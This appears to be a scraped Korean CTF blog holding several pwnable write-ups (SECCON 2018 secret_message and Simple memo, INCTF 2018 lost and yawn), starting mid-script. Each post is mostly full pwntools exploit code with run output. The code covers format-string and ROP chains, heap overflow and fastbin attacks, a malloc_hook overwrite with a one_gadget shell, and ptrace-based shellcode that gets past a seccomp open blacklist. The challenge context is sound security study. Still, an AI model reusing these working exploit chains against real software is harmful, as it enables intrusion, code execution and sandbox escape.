fake_message += p32(8) # height
fake_message += p32(0) # unknown
fake_message += p64(0x54597b67e1abe6e7) # checksum
fake_message += p64(0x61283094c250184a) # rand

body = [0x555b7863e4ade1ef, 0x5b22f0bd9c45c7e0, 0xb08450e9df3bfc15, 0x2a56d50edb755f3,
0xba227aec25d7eefa, 0xba227aec25d7eefa, 0xba227aec25d7eefa, 0xba227aec25d7eefa,
0xcb4b7b943393921
, 0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921,
0xcb4b7b943393921
, 0xcb4b7b943393921, 0xcb4b7b943393921, 0xcb4b7b943393921]
fake_message += ''.join(map(p64, body))
##################################################################


##################################################################
fsb = '%*56$c%{}c%52$ln'.format(0x61df30 - 0x61d650 - 8)
'''
0x7fffffffdbe0: 0x7fffffffdc20 0x40220c
0x7fffffffdbf0: 0x7ffff7530120 <pa_next_type> 0x1700000007
0x7fffffffdc00: 0x61d650 0x61d880 // 56th idx
0x7fffffffdc10: 0x7ffff75308e0 <_IO_2_1_stdin_> 0x0
0x7fffffffdc20: 0x7fffffffdc50 0x400fe8
0x7fffffffdc30: 0x7fffffffdd38 0x100400eb0
0x7fffffffdc40: 0x7fffffffdd30 0x7300000000000000

0x61df30: 0x6161616161616161 0x6161616161616161
0x61df40: 0x6161616161616161 0x6161616161616161
0x61df50: 0x6161616161616161 0x6161616161616161
0x61df60: 0x6161616161616161 0x6161616161616161
0x61df70: 0x6161616161616161 0x6161616161616161
0x61df80: 0x6161616161616161 0x6161616161616161

>>> 0x61df30 - 0x61d650
2272
'''
##################################################################

############## rop payload inside the file (to) ##################
pop_rdi = 0x406583
pop_rsi_r15 = 0x406581
do_read = 0x4010e8
puts_plt = 0x400ce0
fopen_got = 0x60a068
decode_msg = 0x4020ac
freespace = 0x60af00

pay = ''
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(puts_plt)
pay += p64(pop_rdi)
pay += p64(fopen_got)
pay += p64(pop_rsi_r15)
pay += p64(8)
pay += p64(0x0)
pay += p64(do_read)
pay += p64(decode_msg)


###################################################################

################ create evil message ###################
if REMOTE:
s1 = remote('secret-message.pwn.seccon.jp', 31337)
s2 = remote('secret-message.pwn.seccon.jp', 31337)
else:
s1 = process('./secret')
s2 = process('./secret')


s1.recvuntil('welcome~\n')
s2.recvuntil('welcome~\n')

s1.send('e')
s2.send('e')

# to
s1.recvuntil('to : \n')
s1.sendline(pay)

s2.recvuntil('to : \n')
s2.sendline('a' * 0x1)

# from
s1.recvuntil('from : \n')
s1.sendline(fake_message)

s2.recvuntil('from : \n')
s2.sendline('b' * 0x1)

#filename :
s1.recvuntil('filename : \n')
s1.sendline(fsb)

s2.recvuntil('filename : \n')
s2.sendline(fsb)

#message length
s1.recvuntil('message length :\n')
s1.sendline(str(len(message) + 1))

s2.recvuntil('message length :\n')
s2.sendline(str(len(message) + 2))

#message
s1.recvuntil('message : \n')
s2.recvuntil('message : \n')
s1.send(message)
time.sleep(3)
s2.send(message)
time.sleep(3)
s2.close()
time.sleep(3)
s1.send('a')
time.sleep(3)
s1.close()
######################################################

################### trigger fsb ######################
if REMOTE:
s3 = remote('secret-message.pwn.seccon.jp', 31337)
else:
s3 = process('./secret')
s3.recvuntil('welcome~\n')
s3.send('s')
s3.recvuntil('path : \n')
s3.sendline(fsb)
# fsb ==> *sfp = rop_payload in heap
s3.recvuntil('to : ')
s3.recvline()
# rop payload
libc_base = u64(s3.recvline(False).ljust(8, '\x00')) - 0x6dd70
libc_system = libc_base + 0x45390
print hex(libc_base)
s3.send(p64(libc_system))

s3.recvuntil('path : \n')
s3.sendline('sh')

s3.interactive()
s3.close()
#######################################################


$ python ex.py [+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done [+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done [*] Closed connection to secret-message.pwn.seccon.jp port 31337 [*] Closed connection to secret-message.pwn.seccon.jp port 31337 [+] Opening connection to secret-message.pwn.seccon.jp on port 31337: Done 0x7fac3cf5d000 [*] Switching to interactive mode $ id uid=1000 gid=1000 groups=1000 $ cat /home/secret_message/flag SECCON{???????????????????????????}




'CTF' 카테고리의 다른 글

BCTF 2018 - houseOfAtum  (0) 2018.11.30
BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

INCTF 2018 - lost

CTF 2018.11.04 14:45

Category : pwnable


Summary : race condition, heap overflow, no free, top chunk into fastbin




Race condition


풀이 추가 예정


Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(times, **arg):
ru('>> ')
sl('1')
ru('How many chunks at a time (1/2) ? ')
sl(str(times))
if times == 2:
# thread-1
ru('\nEnter Size 1: ')
sl(str(arg['size'][0]))
ru('\nEnter Author name : ')

time.sleep(5)

# thread-2
ru('\nEnter Size 2: ')
sl('10000')
ru('\nEnter Size 2: ')

time.sleep(5)

# thread-1
ss(arg['author'][0])
ru('\nEnter Data 1: ')
ss(arg['data'][0])
ru('\nData entered\n')

# thread-2
sl(str(arg['size'][1]))
ru('\nEnter Author name : ')
ss(arg['author'][1])
ru('\nEnter Data 2: ')
ss(arg['data'][1])
ru('\nData entered\n')

else :
# thread-1
ru('\nEnter Size 1: ')
sl(str(arg['size']))
ru('\nEnter Author name : ')
sl(arg['author'])
ru('\nEnter Data 1: ')
sl(arg['data'])
ru('\nData entered\n')

def cmd_edit(data):
ru('>> ')
sl('2')
ru('Enter new data: ')
ss(data)



s = process('./lost')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

atoi_got = 0x602088
printf_plt = 0x400970

cmd_add(1, size=0x270, author='a'*0x6e, data='0' * 0x270) # 0x300
cmd_add(1, size=0x270, author='a'*0x6e, data='0' * 0x270) # 0x600
cmd_add(1, size=0x270, author='a'*0x6e, data='0' * 0x270) # 0x900
cmd_add(1, size=0x270, author='a'*0x6e, data='0' * 0x270) # 0xc00
cmd_add(1, size=(0x270 - 0x120), author='a'*0x6e+'\x00', data='0' * (0x270-0x120)) # 0xf00 - 0x120

pay = ''
pay += 'a'*0x10
pay += p64(0) + p64(0x21)
pay += 'a' * 0x10
pay += p64(0) + p64(0xc1)

cmd_add(2, size=[0x10, 0x10], author=['a'*0xe+'\x00', 'b'*0xe+'\x00'], data=[pay, 'b'*0x10])

pay2 = ''
pay2 += 'A' * 0x20
pay2 += p64(0) + p64(0x71)
pay2 += p64(0x6020dd)
'''
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x7ffff7bb48e0 <_IO_2_1_stdin_> 0x0
0x6020e0 <stderr@@GLIBC_2.2.5>: 0x7ffff7bb5540 <_IO_2_1_stderr_> 0x0
0x6020f0 <ptr>: 0x603010 0x603030
0x602100 <size>: 0x1 0x0
0x602110: 0x0 0x0
'''

cmd_add(2, size=[0x20, 0x20], author=['a'*0xee+'\x00', 'b'*0xee+'\x00'], data=[pay2, 'b'*0x40])
cmd_add(1, size=0x60, author='c' * 0x10+'\x00', data='A'*0x60)
pay3 = ''
pay3 += '\x00' * 3
pay3 += p64(atoi_got)
pay3 += p64(0)
pay3 += p64(8)

cmd_add(1, size=0x60, author='d' * 0x10+'\x00', data=pay3)
cmd_edit(p64(printf_plt))
ru('>> ')
sl('%7$p\n')
libc_base = int(rl(False), 16) - 0x0000000000070ad2
print hex(libc_base)
libc_system = libc_base + 0x456a0
ru('Invalid\n')

# cmd edit
ru('>> ')
sl('aa') # printf("aa") = 2 = menu2
ru('Enter new data: ')
ss(p64(libc_system))

ru('>> ')
sl('sh')

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './lost': pid 7713
0x7f07e969e000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)

'CTF' 카테고리의 다른 글

BCTF 2018 - three  (0) 2018.11.30
SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

INCTF 2018 - yawn

CTF 2018.11.03 21:05

Category : pwnable



Summary : heap



Exploit


#!/usr/bin/python

from pwn import *

def cmd_add(name, desc):
ru('>> ')
sl('1')
ru('Enter name: ')
sl(name)
ru('Enter desc: ')
if desc:
sl(desc)

def cmd_edit(idx, name, size, desc):
ru('>> ')
sl('2')
ru('Enter index: ')
sl(str(idx))
ru('Enter name: ')
ss(name)
ru('Enter size: ')
sl(str(size))
ru('Enter desc: ')
ss(desc)

def cmd_remove(idx):
ru('>> ')
sl('3')
ru('Enter idx: ')
sl(str(idx))

def cmd_view(idx):
ru('>> ')
sl('4')
ru('Enter idx: ')
sl(str(idx))

note = {}
ru('Note ID : ')
note['idx'] = int(rl(False))
ru('Name : ')
note['name'] = rl(False)
ru('Size : ')
note['size'] = int(rl(False))
ru('Description : ')
note['desc'] = rl(False)
return note

s = process('./yawn')
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

free_got = 0x601F68
note_table = 0x602040


# for libc leak
cmd_add('a' * 0x50+p64(0xffffffffffffffff)+p64(free_got), '')
libc_base = u64(cmd_view(0)['desc'].ljust(8, '\x00')) - 0x844f0
print hex(libc_base)
libc_malloc_hook = libc_base + 0x3c4b10
libc_one_gadget = libc_base + 0xf1147
'''
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

# for heap leak
cmd_add('b' * 0x50+p64(0xffffffffffffffff)+p64(note_table), '')
heap_base = u64(cmd_view(1)['desc'].ljust(8, '\x00')) - 0x1040
print hex(heap_base)

cmd_add('c' * 0x30, 'C' * 0x59) # 2 : 0x70 0x70
cmd_add('d' * 0x50 + p64(0xffffffffffffffff)+p64(heap_base + 0x1010+ (0x20+0x70)*2+0x10), '') # 3 : 0x20 0x70
# pointing note2 -> description

cmd_remove(2)
cmd_remove(3)

cmd_add('NO', '_' * 9)

cmd_add(p64(libc_malloc_hook - 0x23), '_' * 9)
cmd_add('NO', '_' * 9)
cmd_add('NO', '_' * 9)
# reallocate libc_malloc_hook
cmd_add('e' * (0x23-0x10) + p64(libc_one_gadget), '_' * 9)

# trigger
cmd_add('give me the shell', 'paul')

s.interactive()
s.close()


$ python ex.py
[+] Starting local process './yawn': pid 2050
0x7fb84bb3e000
0x178a000
[*] Switching to interactive mode
$ id
uid=1000(pwn3r) gid=1000(pwn3r) groups=1000(pwn3r)



'CTF' 카테고리의 다른 글

SECCON CTF 2018 QUAL - secret_message (one shot exploit)  (0) 2018.11.25
INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable


SimpleMemo


494

2 Solves


Host: smemo.pwn.seccon.jp

Port: 36384


Summary : seccomp bypass, orig_rax



간만에 first blood 획득한 문제. 쓸데없는 삽질로 시간을 2배는 소요했다. google ctf 갔던 팀들이 나왔으면 못 땄을듯. 삽질 시간을 더 줄여야한다. 



Concept


memo를 add/show/delete 하는 기능을 가진 바이너리. 바이너리 구조는 굉장히 간단하다.


 



size 0x28의 heap chunk를 선언하여 사용자의 입력을 받고 해당 chunk의 주소를 memo_table에 저장한다.




Out of boundary - Arbitrary print, free


작성한 memo를 show하는 기능과 delete하는 기능에서 memo index의 boundary check를 하지 않아 memory에 존재하는 임의의 주소를 print하거나 free할 수 있다.  


 



원하는 주소 값을 stack에 쓸 수 있어야하는데, 마침 getint 함수에서 stack에 0x80만큼의 data를 입력받는다. 이 때 stack에 남는 찌꺼기를 oob print, free에 활용할 수 있다.



아래와 같이 index를 입력받을 때 puts_got 같은 주소를 함께 포함시키는 식으로 활용 가능

pie_base = u64(cmd_show('-2').ljust(8, '\x00')) - 0x1020
stack = u64(cmd_show('-4').ljust(8, '\x00')) - 0x90

print hex(pie_base)
print hex(stack)

puts_got = pie_base + 0x201668
libc_base = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(puts_got).ljust(0x6e, '\x00')).ljust(8, '\x00')) - 0x6f690


RIP Control 


fastbin dup into stack으로 stack에 memo를 할당시켜서 getnline 내부함수의 return address를 덮어썼다.

(이거 생각보다 위치잡는거 까다로워서 오래걸렸다.)

rip 를 system("sh")와 one gadget 으로 덮어씌워 /bin/sh를 실행했지만 이상하게 쉘이 뜨지 않았다. 

cmd_add('pwn3r_1')  # 0
cmd_add('pwn3r_2') # 1

chunk0 = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(stack).ljust(0x6e, '\x00')).ljust(8, '\x00'))

cmd_delete('0') # 0
cmd_delete('1') # 1

cmd_delete('-24'.ljust(0x10, '\x00') + p64(chunk0).ljust(0x6e, '\x00')) # 0

cmd_add(p64(stack - 0xb8)) # 0
cmd_add('nothing') # 1
cmd_add('nothing') # 0

cmd_show('-2'.ljust(0x7e, 'B'))

ru('> ')

sl('1'.ljust(8, '\x00'))
ru('Input memo >')
stage2_base = stack - 0xb8 + 0x10 + 0x28
freespace = stage2_base + 0x200
ss('A' * 0x10 + p64(libc_pop_rdi) + p64(stage2_base - 1) + p64(libc_gets))



Seccomp blacklist 


쉬운 문제들이 열리고 있던 시기라 이 문제 역시 간단한 문제인줄 알고 자세히 안봤었는데, init 함수를 보니 아래와 같이 seccomp를 설정하는 함수가 존재했다.



seccomp tools로 어떤 제약이 걸렸는지 확인한다.

$ seccomp-tools dump ./memo
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0008
0007: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW

architecture == x86_64 && syscall number < 0x4000000 && syscall number not in [sys_open, sys_openat] 대략 이런 조건이다. open/openat이 막혀있어서 flag를 읽을 수도 없고 execve를 불러도 결국 필파일 읽어올때 open을 불러야하므로 암것도 못한다.


원래는 실행 중 32bit mode로 변경하여 x86과 x86_64 system call number 차이를 이용하려 했지만 막혀있다. (이것도 자세히 안보고 payload 짰다가 시간날림.)


아이디어를 떠올리던 중 ptrace 를 이용해 우회할 방법이 있을지 검색했다.



Bypass seccomp blacklist 


검색 결과 아래 gist에 있는 코드를 발견하게 되었고 ptrace 를 이용하면 우회가 가능하다는 것을 확인했다.


https://gist.github.com/thejh/8346f47e359adecd1d53


코드를 요약하면 아래와 같다. 


clone (parent, child)

parent : waitpid(childpid, NULL, 0)


child  : ptrace(PTRACE_TRACEME, 0, NULL, NULL)

child  : syscall(SYS_tkill, syscall(SYS_gettid), SIGSTOP)


parent : ptrace(PTRACE_SYSCALL, childpid, NULL, NULL)

parent : waitpid(childpid, NULL, 0)


child  : syscall(SYS_getpid, (unsigned long)"/etc/passwd", O_RDONLY);


parent : ptrace(PTRACE_GETREGS, childpid, NULL, &regs)

parent : regs.orig_rax = SYS_open;

parent : ptrace(PTRACE_SETREGS, childpid, NULL, &regs)

parent : ptrace(PTRACE_DETACH, childpid, NULL, NULL)


child  : ssize_t n = read(r, buf, sizeof(buf));

child  : write(1, buf, n);


핵심은 debuggee(child)가 system call을 부를 때 parent가 후킹하여 orig_rax를 변경하면, orig_rax를 기준으로 system call을 호출하는 것이다. 위 과정을 전부 ROP payload로 작성하는 것은 너무 힘든 것 같아 mmap으로 rwx memory를 할당하고, seccomp blacklist를 우회하는 shellcode를 작성했다.



Exploit


#!/usr/bin/python

from pwn import *

def cmd_add(memo):
ru('> ')
sl('1')
ru('Input memo > ')
sl(memo)
rl()
def cmd_show(idx):
ru('> ')
sl('2')
ru('Input id > ')
sl(str(idx))
rl()
data = rl(False)
return data

def cmd_delete(idx):
ru('> ')
sl('3')
ru('Input id > ')
sl(str(idx))
rl()

#s = process('./memo')
s = remote('smemo.pwn.seccon.jp', 36384)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

raw_input('>')
pie_base = u64(cmd_show('-2').ljust(8, '\x00')) - 0x1020
stack = u64(cmd_show('-4').ljust(8, '\x00')) - 0x90

print hex(pie_base)
print hex(stack)

puts_got = pie_base + 0x201668
libc_base = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(puts_got).ljust(0x6e, '\x00')).ljust(8, '\x00'

libc_gets = libc_base + 0x6ed80
libc_pop_rdi = libc_base + 0x0021102
libc_pop_rsi = libc_base + 0x000202e8
libc_pop_rdx = libc_base + 0x001150a6
libc_pop_rcx = libc_base + 0x000ea69a
# > 0x000ea69a : pop rcx; pop rbx; ret
libc_pop_r8 = libc_base + 0x00135136
libc_mov_r9 = libc_base + 0x0002185a
#> 0x0002185a : mov r9, r14; call rbx
libc_pop_r14 = libc_base + 0x000202e7
libc_pop_rsp = libc_base + 0x0001fb13

libc_pr = libc_base + 0x206c4
# > 0x000206c4 : pop r13; ret
libc_mmap = libc_base + 0x101680
print hex(libc_base)

cmd_add('pwn3r_1') # 0
cmd_add('pwn3r_2') # 1

chunk0 = u64(cmd_show('-24'.ljust(0x10, '\x00') + p64(stack).ljust(0x6e, '\x00')).ljust(8, '\x00'))

cmd_delete('0') # 0
cmd_delete('1') # 1

cmd_delete('-24'.ljust(0x10, '\x00') + p64(chunk0).ljust(0x6e, '\x00')) # 0

cmd_add(p64(stack - 0xb8)) # 0
cmd_add('nothing') # 1
cmd_add('nothing') # 0

cmd_show('-2'.ljust(0x7e, 'B'))

ru('> ')

sl('1'.ljust(8, '\x00'))
ru('Input memo >')
stage2_base = stack - 0xb8 + 0x10 + 0x28
freespace = stage2_base + 0x200
ss('A' * 0x10 + p64(libc_pop_rdi) + p64(stage2_base - 1) + p64(libc_gets))

new_mem = 0xdeadb000

stage2 = ''
stage2 += p64(libc_pop_rdi)
stage2 += p64(new_mem)
stage2 += p64(libc_pop_rsi)
stage2 += p64(0x1000)
stage2 += p64(libc_pop_rdx)
stage2 += p64(7)
stage2 += p64(libc_pop_rcx)
stage2 += p64(0x22)
stage2 += p64(libc_pr) # rbx
stage2 += p64(libc_pop_r8)
stage2 += p64(0xffffffffffffffff)
stage2 += p64(libc_pop_r14)
stage2 += p64(0)
stage2 += p64(libc_mov_r9)
stage2 += p64(libc_mmap)
stage2 += p64(libc_pop_rdi)
stage2 += p64(new_mem + 0x200)
stage2 += p64(libc_gets)
stage2 += p64(libc_pr+2)
stage2 += p64(new_mem + 0x200)
sl(stage2)

stage3 = ''
context.arch = 'amd64'

PTRACE_TRACEME = 0
PTRACE_PEEKTEXT = 1
PTRACE_PEEKDATA = 2
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_SYSCALL = 24
PTRACE_GETREGS = 12
PTRACE_DETACH = 17

clone = asm('''
/* clone and branch */
mov rdi, 0x1200011
mov rsi, 0
mov rdx, 0
mov r10, rsp
add r10, 0x500
mov qword ptr [r10], 0
mov rax, 56

syscall
test rax, rax
''')

debugger = asm('''
/* time delay */
mov rdx, 0x30000000
dec rdx
test rdx, rdx
jnz $ - 6
push rax

/* waitpid(childpid, NULL, 0) */
mov rdi, rax
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
mov rdi, 0x18
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 0x65
syscall

/* waitpid(childpid, NULL, 0) */
mov rdi, [rsp]
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 0x3d
syscall

/* ptrace(PTRACE_GETREGS, childpid, NULL, &regs */
mov rdi, 0xc
mov rsi, [rsp]
mov rdx, 0x0
mov r10, rsp
add r10, 0x400
mov rcx, r10
mov rax, 0x65
syscall

/* ptrace(PTRACE_SETREGS, childpid, NULL, &regs) */
mov rdi, 0xd
mov rsi, [rsp]
mov rdx, 0
mov r10, rsp
add r10, 0x400
mov r9, r10
add r9, 0x78
mov qword ptr [r9], 0x0000000000000002
mov rax, 0x65
syscall

/* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
mov rdi, 0x11
mov rsi, [rsp]
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

mov rax, 0x3c
syscall
''')

debuggee = asm('''
/* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
mov rdi, 0
mov rsi, 0
mov rdx, 0
mov r10, 0
mov rax, 101
syscall

/* syscall(SYS_gettid) */
mov rax, 0x27/*0xba*/
syscall

/* syscall(SYS_tkill, pid, SIGSTOP) */
mov rdi, rax
mov rsi, 0x13
mov rax, 0x3e/*0xc8*/
syscall
''' + shellcraft.pushstr('flag.txt') + '''
/* open(file='rsp', oflag=0, mode=0) */
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
xor rax, rax
mov rax, 39/*getpid*/
syscall
''' +
shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))


stage3 += clone
stage3 += asm('jz $+{}'.format(len(debugger)+6))
stage3 += debugger
stage3 += debuggee

sl(stage3)

'''
'''

s.interactive()
s.close()


$ python ex.py
[+] Opening connection to smemo.pwn.seccon.jp on port 36384: Done
>
0x55f8f149b000
0x7ffe0e221840
0x7fbb0cacb000
[*] Switching to interactive mode
SECCON{bl4ck_l157_SECCOMP_h45_l075_0f_l00ph0l35}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
$


'CTF' 카테고리의 다른 글

INCTF 2018 - lost  (0) 2018.11.04
INCTF 2018 - yawn  (0) 2018.11.03
SECCON 2018 QUAL - Simple memo  (0) 2018.11.02
HITCON CTF 2018 - groot  (0) 2018.10.30
XCTF FINAL 2017 - xmail  (0) 2018.10.06
XCTF FINAL 2017 - network  (0) 2018.10.06

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret